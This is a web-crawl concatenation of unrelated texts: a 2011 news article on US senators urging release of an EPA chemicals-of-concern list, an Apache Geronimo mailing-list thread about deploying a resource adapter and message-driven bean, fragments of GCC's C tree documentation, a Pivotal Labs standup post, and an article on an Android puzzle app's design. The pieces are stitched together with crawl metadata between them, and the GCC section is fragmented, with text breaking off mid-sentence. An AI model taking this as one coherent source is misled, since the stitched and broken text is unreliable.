That proposed ozone rule was broadly opposed by a wide spectrum of industry, who warned that the regulation essentially would bring industrial and production operations to a screeching halt, idling hundreds of thousands of workers, possibly many more.
Obama said he was directing the EPA to withdraw the proposed ozone rule in order to reduce regulatory burdens and uncertainty on business at a time when the national economy is struggling to recover.
That action raised an outcry from environmental groups, which accused the White House of caving in to industry pressure and abandoning election campaign promises to accelerate environmental issues.
“It is important that [the] EPA is allowed to fully utilise its current authorities under TSCA to provide the public with information on chemicals that might pose unreasonable risk,” the senators said in their letter to the OMB, referring to the Toxic Substances Control Act.
“The agency should be permitted to take the modest step of signalling its concern about these chemicals to the public and the market,” they added, urging the OMB to wrap-up its review of the EPA proposal.
In December 2009, the EPA proposed a list of “chemicals of concern” to inform the public about substances that pose a risk to human health.
Although the chemicals on the proposed list have not been officially named, they are believed to include phthalates, polybrominated diphenyl ethers (PBDEs), long-chain perfluorinated chemicals (PFCs) and short-chain chlorinated paraffins (SCCPs).
They are used variously as softening agents in plastics, flame retardants, coatings and packaging, among other applications.
The
“While we support [the] EPA exercising its authority under TSCA", said American Chemistry Council (ACC) spokesman Scott Jensen, “we believe the agency should prioritise chemicals based on scientific criteria that reflect available hazard, use and exposure information.”
Jensen said that “creating an arbitrary list is not appropriate and could lead to confusion in the marketplace”.
OMB spokeswoman Meg Riley said that as a matter of policy the office does not comment on regulations under review.
However, she said, “it is not uncommon for review periods to be extended for regulatory actions that require additional time for consideration of public comment and analysis by OMB and all affected agencies”.
She said she could not say when the review of the EPA’s proposed list of chemicals of concern might be concluded. | http://www.icis.com/Articles/2011/09/13/9492136/us-senators-seek-end-to-delay-on-epa-chemicals-list.html | CC-MAIN-2014-42 | en | refinedweb |
Lets start small and try to figure out why the message listener class
isn't getting found. I have a hard time believing that the rar
processing is at fault because some of the tranql rars have 2 jars in
them.... but maybe something else is triggering a bug.
Could you try putting all the connector jars in the geronimo repo and
adding them to the geroniimo-ra.xml plan? At that point you ought to
be able to use the console to try to load the message listener class
in the rar configuration classloader.
Also, if you have copied any of the connector classes into the ejb
app or included anything in any of the manifest claspaths I advise
taking them out. It shouldn't make a difference but....
thanks
david jencks
On Oct 2, 2007, at 10:15 PM, Ed Hillmann wrote:
> On 10/3/07, David Jencks <david_jencks@yahoo.com> wrote:
>> Hi Ed,
>>
>> I'm sorry you've been having such a hard time getting this to work.
>
> You and me both. :)
>
>> Email is not always the most efficient form for dialog :-). If you
>> can get on IRC sometime when I am around I can probably help sort
>> things out more quickly or if IRC is unavailable to you but you have
>> some time to work through this more continuously we could try
>> that.... having a couple days between emails its difficult to
>> remember exactly what the context of your questions is.
>
> Yes, it is not very efficient, especially as I'm sure you're across
> multiple fires like mine. I do appreciate your efforts. I did try
> installing an IRC client in order to access the IRC server, but I
> could not. I assume that I cannot access it from behind my firewall,
> but I didn't chase this up too much.
>
> I'm sure it doesn't help that I'm in a different hemisphere (I'm
> assuming this, but being in Australia, it's typically a safe
> assumption :) )
>
>>
>> One of the things I don't like much about the console deployer is
>> that it tends to conceal the causes of errors and sometimes the fact
>> of errors :-). I generally get better feedback from the command line
>> deployer -- also a transcript shows unambiguously what you tried
>> to do.
>
> I have not tried the command-line deployer. Perhaps I should use that
> from now on.
>
>>
>> I noticed a couple o things in the stuff you sent some of which might
>> be causing problems.
>>
>> 1. There are a lot of jar dependencies in your geronimo plan for the
>> rar... does this mean all these jars are needed by the rar but are
>> not included in it? If the jars are included in the rar they should
>> not be needed as dependencies. Knowing exactly what is in the rar
>> would be helpful
>
> There are three jars that used at various parts of the adapter (the
> outbound adapter uses one jar, one outbound adapter uses the same as
> the outbound, a second output adapter uses the other two). They have
> been set up externally, because I was having problems getting the
> adapters to find the classes when they were deployed within the RAR.
> Kinda like what I'm going through now.
>
> I didn't mind having them in the lib/ext (or, in Geronimo's case, as
> source modules) because that's actually a good fit for what we want to
> do with this.
>
> What is in the RAR file is
>
> svConnector-api.jar, which contains some classes that implement the
> InteractionSpec interfaces (used by applications using the output
> adapter), and an interface that should be implemented by MDB's hosting
> one of the inbound adapters.
>
> svConnector-ra.jar, which contains the JCA implementations. Files in
> this jar may reference the files in the svConnector-api.jar.
>
> the ra.xml file.
>
>>
>> 2. The resource adapter has no outbound connectors and all the
>> ResourceAdapter properties are set to their defaults from ra.xml....
>> this is as intended?
>
> Yes. In this particular case, I was trying to write an application
> that used one of the inbound connectors. I wasn't trying to deploy an
> application that used all the available adapter types.
>
>>
>> 3. the openejb-jar.xml has a dependency on a rar. That would be a
>> dependency on a rar that is deployed separately, not the one in the
>> ear. If this is really the openejb-jar.xml from the ear attempt you
>> should remove that dependency.
>
> I was trying this because I could not deploy the RAR file separately
> (as mentioned in one of my other threads on this list). I was basing
> this on the sample MDB application
> (-
> application.html).
> In the sample, it looked like the RAR file was deployed as part of
> the EAR. But, then again, I've been misinterpreting other documents,
> so why should this be any different. :)
>
> My preference would be to have the RAR deployed standalone and not
> part of the application.
>
>>
>> 4. the resource-link in the mdb config does not appear to be pointing
>> to the resource adapter you configured in the geronimo-
>> application.xml.... maybe its pointing to the one in the standalone
>> rar that the openejb-jar.xml is depending on? IIUC you would want
>>
>> <message-driven>
>> <ejb-name>TreEventBean</ejb-name>
>> <resource-adapter>
>> <resource-link>InboundSVEvents</resource-link>
>> </resource-adapter>
>> </message-driven>
>
> Yes, I caught that after I emailed. But that doesn't seem to be part
> of the problem. When I changed that to match the connector's resource
> name, I got the same exception.
>
>>
>> 5. There is no additional configuration of the inbound ra in the
>> openejb-jar.xml so this must mean that all the necessary properties
>> (including what the message-listener interface is) is set in the ejb-
>> jar.xml or in annotations?
>
> Yes, the MDB has the annotations that have all the necessary
> properties. It looks like
>
> @MessageDriven(
> name="TreEventBean",
> messageListenerInterface=TreEventListener.class,
> activationConfig={
> @ActivationConfigProperty
> (propertyName="ServerName",propertyValue="wallaby"),
> @ActivationConfigProperty
> (propertyName="PortNumber",propertyValue="10551"),
> @ActivationConfigProperty
> (propertyName="UserName",propertyValue="tpsysadm"),
> @ActivationConfigProperty
> (propertyName="Password",propertyValue="tpsysadm"),
> @ActivationConfigProperty
> (propertyName="EventPatterns",propertyValue="myPattern")
> }
> )
> public class TreEventBean implements TreEventListener {
>
>>
>> BTW standalone should be just about the same as non-standalone except
>> for needing a dependency from the ejb plan to the rar plan.... but
>> then, in theory, theory and practice are the same...
>
> Well, in practice, I'm getting the same results. :( So I must be
> doing something wrong in both cases.
>
> Thanks,
> Ed | http://mail-archives.apache.org/mod_mbox/geronimo-user/200710.mbox/%3C3AB12F82-A652-48CF-9C30-0D5BB0607F85@yahoo.com%3E | CC-MAIN-2014-42 | en | refinedweb |
Localization and Globalization for Visual Basic 6.0 Users
Both Visual Basic 6.0 and Visual Basic 2008 provide support for international applications. However, the concepts and techniques for localizing and globalizing an application are different.
Localizing Resources
In Visual Basic 6.0, international versions of an application are created by putting all localizable information, such as strings, into a separate resource file (.res) for each language. At run time, locale-specific resources are loaded from the resource file by calling the LoadResString, LoadResPicture, and LoadResData functions.
In Visual Basic 2008, international versions of an application are created by changing the Language property of a form at design time. A separate resource file (.resx) is automatically created for each locale selected. You no longer need to explicitly load resources from code; resources are automatically loaded based on the user's locale. For more information, see Globalizing Windows Forms.
Editing Resources
In Visual Basic 6.0, resource files can be edited using the resource editor add-in or the Visual C++ resource editors.
In Visual Basic 2008, the Resource Editor is built into the IDE as a part of the Project Designer. For more information, see Managing Application Resources.
Unicode
In Visual Basic 6.0, strings are represented internally as Unicode characters but are displayed using Windows code pages. The StrConv function, along with binary and Unicode versions of string manipulation functions (for example, ChrB and ChrW), are necessary to convert between ANSI and DBCS code pages.
In Visual Basic 2008, forms are entirely Unicode-enabled; conversion between code pages is no longer required. For more information, see Encoding and Windows Forms Globalization.
Date and Currency Formatting
In Visual Basic 6.0, the formatting of dates and currency in code requires special consideration; values entered as text can be incorrectly interpreted when converted to dates or currency in localized applications.
In Visual Basic 2008, dates and currency are automatically formatted according to the user's culture. You can override the settings, if necessary, through functions in the System.Globalization namespace. For more information, see Culture-Specific Classes for Global Windows Forms and Web Forms. | http://msdn.microsoft.com/en-us/library/150x5ys0(v=vs.90).aspx | CC-MAIN-2014-42 | en | refinedweb |
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For a class template, the @code{DECL_TEMPLATE_INSTANTIATIONS} list contains the instantiations. The @code{TREE_VALUE} of each node is an instantiation of the class. The @code{DECL_TEMPLATE_SPECIALIZATIONS} contains partial specializations of the class. @item USING_DECL Back ends can safely ignore these nodes. @end table @node Internal structure @subsection Internal structure @code{DECL} nodes are represented internally as a hierarchy of structures. @menu *, their @end table @c --------------------------------------------------------------------- @c Functions @c --------------------------------------------------------------------- @node Functions @section Functions @cindex function @tindex FUNCTION_DECL @tindex OVERLOAD @findex OVL_CURRENT @findex OVL_NEXT A function is represented by a @code{FUNCTION_DECL} node. A set of overloaded functions is sometimes represented by}. To determine the scope of a function, you can use the @code{DECL_CONTEXT} macro. This macro will return the class (either a @code{RECORD_TYPE} or a @code{UNION_TYPE}) or namespace (a @code{NAMESPACE_DECL}) of which the function is a member. For a virtual function, this macro returns the class in which the function was actually defined, not the base class in which the virtual declaration occurred.}. In C, the @code @code{DECL_CONTEXT} for the referenced @code{VAR_DECL}. If the @code{DECL_CONTEXT} for the referenced @code{VAR_DECL} is not the same as the function currently being processed, and neither @code{DECL_EXTERNAL} nor @code{DECL_STATIC} hold, then the reference is to a local variable in a containing function, and the back end must take appropriate action. @menu * Function Basics:: Function names, linkage, and so forth. * Function Bodies:: The statements that make up a function body. @end menu @c --------------------------------------------------------------------- @c Function Basics @c --------------------------------------------------------------------- @node Function Basics @subsection Function Basics @cindex constructor @cindex destructor @cindex copy constructor @cindex assignment operator @cindex linkage @findex DECL_NAME @findex DECL_ASSEMBLER_NAME @findex TREE_PUBLIC @findex DECL_LINKONCE_P @findex DECL_FUNCTION_MEMBER_P @findex DECL_CONSTRUCTOR_P @findex DECL_DESTRUCTOR_P @findex DECL_OVERLOADED_OPERATOR_P @findex DECL_CONV_FN_P @findex DECL_ARTIFICIAL @findex DECL_GLOBAL_CTOR_P @findex DECL_GLOBAL_DTOR_P @findex GLOBAL_INIT_PRIORITY The following macros and functions can be used on a @code{FUNCTION_DECL}: @ftable @code @item DECL_MAIN_P This predicate holds for a function that is the program entry point @code{:_EXTERNAL This predicate holds if the function is undefined. @item TREE_PUBLIC This predicate holds if the function has external linkage. _ARGUMENTS This macro returns the @code{PARM_DECL} for the first argument to the function. Subsequent @code{PARM_DECL} nodes can be obtained by following the @code{TREE_CHAIN} links. @item DECL_RESULT This macro returns the @code{RESULT_DECL} for the function. @item TREE_TYPE This macro returns the @code{FUNCTION_TYPE} or @code{METHOD_TYPE} for the function. if of the form `@code{()}'. @item DECL_ARRAY_DELETE_OPERATOR_P This predicate holds if the function an overloaded @code{operator delete[]}. @end ftable @c --------------------------------------------------------------------- @c Function Bodies @c --------------------------------------------------------------------- @node Function Bodies @subsection Function Bodies @cindex function body will have a non-@code{NULL} @code{DECL_INITIAL}. However, back ends should not make use of the particular value given by @code{DECL_INITIAL}. The @code{DECL_SAVED_TREE} macro will give the complete body of the function. @subsubsection Statements: will will sometimes use several statements chained together. }. @c APPLE LOCAL begin CW asm blocks @code{ASM_USES} and @code{ASM_LABEL} are for CW assembly syntax only, providing REG_USE and label declaration information inside @code{ASM_EXPR} tree. @c APPLE LOCAL end CW asm blocks @item BREAK_STMT Used to represent a @code{break} statement. There are no additional fields. DECL_STMT Used to represent a local declaration. The @code{DECL_STMT}. Note that @code{FOR_INIT_STMT} and @code{FOR_BODY} return statements, while @code{FOR_COND} and @code{FOR_EXPR} return expressions. . @item LABEL_EXPR Used to represent a label. The @code{LABEL_DECL} declared by this statement can be obtained with the @code{LABEL_EXPR_LABEL} macro. The @code{IDENTIFIER_NODE} giving the name of the label can be obtained from the @code{LABEL_DECL} with @code{DECL_NAME}. @item RETURN_STMT Used to represent a @code{return} statement. The @code{RETURN_EXPR} is the expression returned; it will be @code{NULL_TREE} if the statement was just @smallexample return; @end smallexample @tindex INTEGER_CST @findex TREE_INT_CST_HIGH @findex TREE_INT_CST_LOW @findex tree_int_cst_lt @findex tree_int_cst_equal @tindex REAL_CST @tindex COMPLEX_CST @tindex VECTOR_CST @tindex STRING_CST @findex TREE_STRING_LENGTH @findex TREE_STRING_POINTER @tindex PTRMEM_CST @findex PTRMEM_CST_CLASS @findex PTRMEM_CST_MEMBER @tindex VAR_DECL @tindex NEGATE_EXPR @tindex ABS_EXPR @tindex BIT_NOT_EXPR @tindex TRUTH_NOT_EXPR @tindex PREDECREMENT_EXPR @tindex PREINCREMENT_EXPR @tindex POSTDECREMENT_EXPR @tindex POSTINCREMENT_EXPR @tindex ADDR_EXPR @tindex INDIRECT_REF @tindex FIX_TRUNC_EXPR @tindex FLOAT_EXPR @tindex COMPLEX_EXPR @tindex CONJ_EXPR @tindex REALPART_EXPR @tindex IMAGPART_EXPR @tindex NON_LVALUE_EXPR @tindex NOP_EXPR @tindex PLUS_EXPR @tindex MINUS_EXPR @tindex MULT ARRAY_REF @tindex ARRAY_RANGE_REF @tindex TARGET_MEM_REF COMPONENT_REF AGGR_INIT_EXPR @tindex VA_ARG_EXPR . All the expressions starting with @code{OMP_} represent directives and clauses used by the OpenMP API @w{@uref{}}. given by @smallexample ((TREE_INT_CST_HIGH (e) << HOST_BITS_PER_WIDE_INT) + TREE_INST_CST_LOW (e)) @end smallexample @noindent HOST_BITS_PER_WIDE_INT is at least thirty-two on all platforms. Both @code{TREE_INT_CST_HIGH} and @code{TREE_INT_CST_LOW} return a @code{HOST_WIDE_INT}. The value of an @code{INTEGER_CST} is interpreted as a signed or unsigned quantity depending on the type of the constant. In general, the expression given above will overflow, so it should not be used to calculate the value of the constant. The variable @code{integer_zero_node} is an integer constant with value zero. Similarly, @code{integer_one_node} is an integer constant with value one. The @code{size_zero_node} and @code{size_one_node} variables are analogous, but have type @code{size_t} rather than @code{int}. The function @code, @code{tree_int_cst_equal} holds if the two constants are equal. The @code{tree_int_cst_sgn} function returns the sign of a constant. The value is @code{1}, @code{0}, or @code{-1} according on whether the constant is greater than, equal to, or less than zero. Again, the signedness of the constant's type is taken into account; an unsigned constant is never less than zero, no matter what its bit-pattern. @item REAL_CST FIXME: Talk about how to obtain representations of this constant, do comparisons, and so forth. , whose parts are constant nodes. Each individual constant node is either an integer or a double constant node. The first operand is a @code{TREE_LIST} of the constant nodes and is accessed through @code{TREE_VECTOR_CST_ELTS}. PTRMEM_CST These nodes are used to represent pointer-to-member constants. The @code{PTRMEM_CST_CLASS} is the class type (either a @code{RECORD_TYPE} or @code{UNION_TYPE} within which the pointer points), and the @code{PTRMEM_CST_MEMBER} is the declaration for the pointed to object. Note that the @code{DECL_CONTEXT} for the @code{PTRMEM_CST_MEMBER} is in general different from the @code{PTRMEM_CST_CLASS}. For example, given: @smallexample struct B @{ int i; @}; struct D : public B @{@}; int D::*dp = &D::i; @end smallexample @noindent The @code{PTRMEM_CST_CLASS} for @code{&D::i} is @code{D}, even though the @code{DECL_CONTEXT} for the @code{PTRMEM_CST_MEMBER} is @code{B}, since @code{B::i} is a member of @code{B}, not @code{D}. @item VAR_DECL These nodes represent variables, including static data members. For more information, @pxref{Declarations}. THROW_EXPR These nodes represent @code{throw} expressions. The single operand is an expression for the code that should be executed to throw the exception. However, there is one implicit action not represented in that expression; namely the call to @code{__throw}. This function takes no arguments. If @code{setjmp}/@code{longjmp} exceptions are used, the function @code{__sjthrow} is called instead. The normal GCC back end uses the function @code{emit_throw} to generate this code; you can examine this function to see what needs to be done. x LT_EXPR @itemx LE_EXPR @itemx GT_EXPR @itemx GE_EXPR @itemx EQ_EXPR @itemx. These operations return the result type's zero value for false, and the result type's one value for true. @itemx LTGT. With the possible exception of @code{LTGT_EXPR}, all{?:} expressions. The first operand is of boolean or integral type. If it evaluates to a nonzero value, the second operand should be evaluated, and returned as the value of the expression. Otherwise, the third operand is evaluated, and returned as the value of the expression. The second operand must have the same type as the entire expression, unless it unconditionally throws an exception or calls a noreturn function, in which case it should have void type. The same constraints apply to the third operand. This allows array bounds checks to be represented conveniently as . The first operand is a pointer to the function to call; it is always an expression whose type is a @code{POINTER_TYPE}. The second argument is a @code{TREE_LIST}. The arguments to the call appear left-to-right in the list. The @code{TREE_VALUE} of each list node contains the expression corresponding to that argument. (The value of @code{TREE_PURPOSE} for these nodes is unspecified, and should be ignored.) For non-static member functions, there will be an operand corresponding to the @code{this} pointer. There will always be expressions corresponding to all of the arguments, even if the function is declared with default arguments and some arguments are not explicitly provided at the call sites. @item STMT_EXPR These nodes are used to represent GCC's statement-expression extension. The statement-expression extension allows code like this: @smallexample int f() @{ return (@{ int j; j = 3; j + 7; @}); @} @end smallexample In other words, an sequence of statements may occur where a single expression would normally appear. The @code{STMT_EXPR} node represents such an expression. The @code{STMT_EXPR_STMT} gives the statement contained in the expression. The value of the expression is the value of the last sub-statement in the body. More precisely, the value is the value computed by the last statement nested inside @code{BIND_EXPR}, @code{TRY_FINALLY_EXPR}, or @code{TRY_CATCH_EXPR}. For example, in: @smallexample (@{ 3; @}) @end smallexample the value is @code{3} while in: @smallexample (@{ if (x) @{ 3; @} @}) @end smallexample there is no value. If the @code{STMT_EXPR} does not yield a value, it's type will be @code{void}. @item BIND_EXPR These nodes represent local blocks. The first operand is a list of variables, connected via their @code{TREE_CHAIN} field. These will never require cleanups. The scope of these variables is just the body of the @code{BIND_EXPR}. The body of the @code{BIND_EXPR} is the second operand. array. The first operand is reserved for use by the back end. The second operand is a @code{TREE_LIST}. If the @code{TREE_TYPE} of the @code{CONSTRUCTOR} is a @code{RECORD_TYPE} or @code{UNION_TYPE}, then the @code{TREE_PURPOSE} of each node in the @code{TREE_LIST} will be a @code{FIELD_DECL} and the @code{TREE_VALUE} of each node will be the expression used to initialize that field. If the @code{TREE_TYPE} of the @code{CONSTRUCTOR} is an @code{ARRAY_TYPE}, then the @code{TREE_PURPOSE} of each element in the @code{TREE_LIST} will be an @code{INTEGER_CST} or a @code{RANGE_EXPR} of two @code{INTEGER_CST}s. A single @code{INTEGER_CST} indicates which element of the array (indexed from zero) is being assigned to. A @code{RANGE_EXPR} indicates an inclusive range of elements to initialize. In both cases the @code{TREE_VALUE} is the corresponding initializer. It is re-evaluated for each element of a @code{RANGE_EXPR}. If the @code{TREE_PURPOSE} is @code{NULL_TREE}, then the initializer is for the next available array element. In the front end, you should not depend on the fields appearing in any particular order. However, in the middle end, fields must appear in declaration order. You should not assume that all fields will be represented. Unrepresented fields will be set to zero. @item COMPOUND_LITERAL_EXPR @findex COMPOUND_LITERAL_EXPR_DECL_STMT @findex COMPOUND_LITERAL_EXPR_DECL These nodes represent ISO C99 compound literals. The @code{COMPOUND_LITERAL_EXPR_DECL_STMT} is a @code{DECL_STMT}. See @code{STMT_IS_FULL_EXPR_P} for more information about running these cleanups. }. The first operand to the @code{AGGR_INIT_EXPR} is the address of a function to call, just as in a @code{CALL_EXPR}. The second operand are the arguments to pass that function, as a @code{TREE_LIST}, again in a manner similar to that of a @code{CALL_EXPR}. If @code{AGGR_INIT_VIA_CTOR_P} holds of the @code{AGGR_INIT_EXPR}, then the initialization is via a constructor call. The address of the third operand of the @code{AGGR_INIT_EXPR}, which is always a @code{VAR_DECL}, is taken, and this value replaces the first argument in the argument list. In either case, the expression is void. OMP_PARALLEL Represents @code{#pragma omp parallel [clause1 ... ... clauseN]}. It has 5 @code{OMP_SECTIONS} to mark the place where the code needs to loop to the next iteration (in the case of @code{OMP_FOR}) or the next section (in the case of @code{OMP_SECTIONS}).-codes}, and @code{OMP_CLAUSE_REDUCTION}. | http://opensource.apple.com/source/llvmgcc42/llvmgcc42-2118/gcc/doc/c-tree.texi | CC-MAIN-2014-42 | en | refinedweb |
Interesting Things
- ActiveScaffold was surprisingly easy to use for admin interfaces. One possible gotcha is that you have to manually configure namespaced RESTful routes (e.g.
map.resources :tasks, :active_scaffold => true).
Ask for Help
“What are your current favorite Object Mother implementations or patterns?”
There are several approaches:
- Factories-and-Workers
- Object Daddy
- Roll Your Own – Your Object Mother will likely be so domain specific that you should just write it from scratch.
“Does anyone know how to disable caching in Safari? Caching can often break JSUnit between test runs”
Go to Develop -> Disable Caches and you get a fresh non-caching Safari.
I use [factory_girl]() and I’ve been meaning to try [machinist]() because of the [faker]() integration.
November 14, 2008 at 11:38 am | http://pivotallabs.com/standup-11-13-2008-activescaffold-and-object-mothers/?tag=trace | CC-MAIN-2014-42 | en | refinedweb |
Puzzles Solver is an application that I've uploaded to the Android Market some time ago. The idea for the application came from an old CodeProject article. In that article, I have presented a collection of some well known puzzles along with a mechanism for computer solving them. The puzzles were implemented as Java Applets, so it was easy to port them to Android platform. The application provides the following games:
The application provides variations for all the games. It can also solve the puzzle for you. No pre-stored solutions are used. Instead the application tries to compute a solution on the fly, by applying a simple brutal-search algorithm.
In this article, I want to present all the design decisions I've made and the patterns I've followed, while developing the application. I hope that readers of the article will find them useful and perhaps re-use them on their own applications.
The following diagram depicts the wireframes of the application's activities. When starting to design a new application, it is a good idea to try to sketch out, how the application will look. This will help you identify User Interface challenges early enough. It will also help on the mapping of visual components to Java classes.
In the context of this article, the wireframes help in presenting some important User Interface patterns. The application can launch pretty quick, so there is no need for a splash screen. The application starts immediately with the main screen, which just presents a row of buttons. This screen provides visual cues of what functionality the applications offers (start a puzzle, see the scores, get help) and allows the user to access it with one or two touches. Of course, you can style the first screen to be something more interesting than a row of buttons, but there will be very few exceptions to the rule that every mobile application should make all important functionality easily accessible from the first screen. The first screen also offers a menu, but this isn't necessary. The menu offers the same functionality as the menus. Only the about box is hidden in it. You can hide such functionality in the menu, in order to save screen estate and not to distract the user.
The transition from the main screen to the puzzles and to the scores (each puzzle has a different scores screen) is done through a list. When the button is pressed, a list with the available puzzles appear. Another solution would be to use a separate screen (implemented by a new activity) to present all the choices. This would be ideal, if there were many game choices to be made (e.g. online game, timed and non-timed mode, level selection).
The game engine is based on an article I wrote here on CodeProject as late back as in 2004. The idea of supporting more than one puzzle in the same application is to create an abstract class that implements all common functionality. For each individual puzzle, there is a concrete implementation of the abstract class. This is an excerpt from the solve method, as this is implemented in the abstract class (slightly modified for demonstration purposes):
abstract
solve
while(!searched_all && movesMade() != movesTableSize) {
if (!findNextMove()) {
searched_all = !goBack();
while(!searched_all &&
movesMade() == 0) {
searched_all = !goBack();
}
}
}
This while loop is the heart of the solver algorithm. The individual puzzles implement the methods called in it, namely movesMade(), goBack() and findNextMove(). This is actually a form of the template method design pattern.
while
movesMade()
goBack()
findNextMove()
The abstract Puzzle class is also used to provide an Interface for callers of the individual Puzzle classes. The concrete implementations appear only when a puzzle is initialized. The following class diagram depicts the main classes of the application, namely PuzzleActivity, PuzzleView and Puzzle.
Puzzle
Puzzle
PuzzleActivity
PuzzleView
In onCreate method of the PuzzleActivity, a PuzzleView instance is initialized. Also a Puzzle object is created and is injected into the PuzzleView.
onCreate
PuzzleView
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
Bundle bundle = intent.getExtras();
gameType = bundle.getInt("GameType", 0);
switch(gameType) {
case 0:
puzzle = new Q8Puzzle(this);
break;
case 1:
puzzle = new NumberSquarePuzzle(this);
break;
case 2:
puzzle = new SoloPuzzle(this);
break;
}
timeCounter = new TimeCounter();
puzzle.init();
puzzleView = new PuzzleView(this);
puzzleView.setPuzzle(puzzle);
puzzleView.setTimeCounter(timeCounter);
setContentView(puzzleView);
timerHandler = new Handler();
replayHandler = new Handler();
scoresManager = ScoresManagerFactory.getScoresManager(getApplicationContext());
}
This is the only place, where concrete implementations of a Puzzle appear. The PuzzleView, which is responsible for servicing the User Interface, performs the job by calling the Puzzle.draw and Puzzle.onTouchEvent methods. If a new puzzle were to be added, the only thing that will be needed is a new puzzle case statement.
Puzzle.draw
Puzzle.onTouchEvent
case
In the second version of the article, I've added support for creating custom boards in Solo puzzle. This led to some special handling added:
case R.id.custom_boards:
if (puzzle instanceof SoloPuzzle) {
if (soloPuzzleRepository != null &&
soloPuzzleRepository.getCustomBoardsCount() > 0) {
Intent editIntent = new Intent
("gr.sullenart.games.puzzles.SOLO_EDIT_BOARDS");
startActivity(editIntent);
}
else {
SoloCustomBoardActivity.showDirections = true;
Intent addIntent = new Intent
("gr.sullenart.games.puzzles.SOLO_ADD_BOARD");
startActivity(addIntent);
}
}
However the base class could also be extended in order to support custom boards. After all, adding custom boards is a common feature of many puzzles. This way, the special handling would go away.
As Android runs on a variety of devices, it is important for an application to be able to support different screen sizes and densities. The official documentation provides a thorough guidance of the screens support process. This is a constantly evolving document, as with every new version of the SDK new screen sizes and densities are being added.
On top of the practices described there, I will present here a technique of using tiles to draw the User Interface. The tiles are small rectangular images (for example 80x80 or 100x100 pixels). The User Interface is constructed by repeating these images horizontally and vertically. This technique takes advantage of the fact that in Android you can easily resize an image dynamically. Thus a single set of tiles can support a variety of screen sizes, as well as both portrait and landscape orientations. I should note however that this technique is appropriate for puzzle-like games or other applications, where there are only slow changes on the User Interface. It may not be efficient to use it for fast changing User Interfaces. This technique also provides a way of supporting theming in an application.
Let's start from using a tile for creating a background in a layout. This is as easy as defining a drawable XML:
<?xml version="1.0" encoding="utf-8"?>
<bitmap xmlns:android=""
android:src="AndroidPuzzlesSolver/@drawable/bg_tile"
android:tileMode="repeat"
android:
And then in the layout XML:
<RelativeLayout xmlns:android=""
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical"
android:
This solves the problem, when you create the User Interface from a layout. For puzzles and simple games however, it is very common to draw everything on the onDraw method of a View. The following method will draw the background on a canvas, when called at the beginning of the onDraw:
onDraw
private void drawBackgroundRepeat(Canvas canvas, Bitmap bgTile) {
float left = 0, top = 0;
float bgTileWidth = bgTile.getWidth();
float bgTileHeight = bgTile.getWidth();
while (left < screenWidth) {
while (top < screenHeight) {
canvas.drawBitmap(bgTile, left, top, null);
top += bgTileHeight;
}
left += bgTileWidth;
top = 0;
}
}
In order to use images as tiles to draw the User Interface in multiple screen sizes, some resizing is needed. The following diagram depicts the organization of the screen. The dashed lines show the background tiles. Since this is just a repetition of the same image and there is no need for showing full images at the edges, no resizing is necessary. The solid lines show where the game tiles must be placed in order to form the game board.
As an example, the Solo puzzle screen is drawn with the following tiles. All images were generated using Gimp.
First let's look at the ImageResizer class.
ImageResizer
public class ImageResizer {
private Matrix matrix;
public void init(int oldWidth, int oldHeight, float newWidth, float newHeight) {
float scaleWidth = newWidth / oldWidth;
float scaleHeight = newHeight / oldHeight;
matrix = new Matrix();
matrix.postScale(scaleWidth, scaleHeight);
}
public Bitmap resize(Bitmap bitmap) {
if (matrix == null) {
return bitmap;
}
int width = bitmap.getWidth();
int height = bitmap.getHeight();
Bitmap resizedBitmap = Bitmap.createBitmap(bitmap, 0, 0,
width, height, matrix, true);
return resizedBitmap;
}
}
This is a utility class that provides a method for dynamically resizing a bitmap. An instance of this class needs to be initialized by providing the dimensions of the original and resized bitmaps. This class is utilized in the onSizeChanged method of the puzzle View. The onSizeChanged method is called whenever the dimensions of the screen change (e.g. when an orientation change happens or the screen is first displayed). At this method, the tile images are loaded from the application's resources. Depending on the theme, different images are loaded. The loaded bitmaps are then resized to fit into the existing screen and kept in memory. The images are drawn on the canvas at the draw method of every puzzle.
onSizeChanged
draw
public void onSizeChanged(int w, int h) {
super.onSizeChanged(w, h);
int boardSize = (boardRows > boardColumns) ? boardRows : boardColumns;
if (w < h) {
tileSize = (w - 10) / boardSize;
}
else {
tileSize = (h - 10) / boardSize;
}
offsetX = (screenWidth - tileSize*boardColumns)/2;
offsetY = (screenHeight - tileSize*boardRows)/2;
imageResizer = new ImageResizer();
if (theme.equals("marble")) {
emptyImage = BitmapFactory.decodeResource(context.getResources(),
R.drawable.marble_tile);
tileImage = BitmapFactory.decodeResource(context.getResources(),
R.drawable.wood_sphere);
tileSelectedImage = BitmapFactory.decodeResource(context.getResources(),
R.drawable.golden_sphere);
}
else {
emptyImage = BitmapFactory.decodeResource(context.getResources(),
R.drawable.wood_tile);
tileImage = BitmapFactory.decodeResource(context.getResources(),
R.drawable.glass);
tileSelectedImage = BitmapFactory.decodeResource(context.getResources(),
R.drawable.glass_selected);
}
freePosImage = BitmapFactory.decodeResource(context.getResources(),
R.drawable.hole);
freePosAllowedMoveImage = BitmapFactory.decodeResource(context.getResources(),
R.drawable.hole_move);
imageResizer.init(emptyImage.getWidth(), emptyImage.getHeight(),
tileSize, tileSize);
emptyImage = imageResizer.resize(emptyImage);
freePosImage = imageResizer.resize(freePosImage);
tileImage = imageResizer.resize(tileImage);
tileSelectedImage = imageResizer.resize(tileSelectedImage);
freePosAllowedMoveImage = imageResizer.resize(freePosAllowedMoveImage);
}
In the third revision of the article, I've replaced the simple list puzzle selector with a much nicer Popup Window. You can compare the difference of these two selectors in the following figure:
The new Popup Window is aesthetically more appealing. It also makes the puzzle selection quicker, as it appears closer to the point, where the user first touched and it doesn't grey out the whole screen. It can also be easy animated. In order to create a Popup Window, you start from a layout XML file, as you would have done for a Dialog or a View. It is important to define a background for your layout, because the Android PopupWindow doesn't provide one by default. In Java code, you make the PopupWindow appear with the following code:
PopupWindow
private void showGameSelectPopup(View parentView) {
LayoutInflater inflater = (LayoutInflater)
getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View layout = inflater.inflate(R.layout.puzzle_select, null, false);
gameSelectPopupWindow = new PopupWindow(this);
gameSelectPopupWindow.setTouchInterceptor(new OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
if (event.getAction() == MotionEvent.ACTION_OUTSIDE) {
gameSelectPopupWindow.dismiss();
gameSelectPopupWindow = null;
return true;
}
return false;
}
});
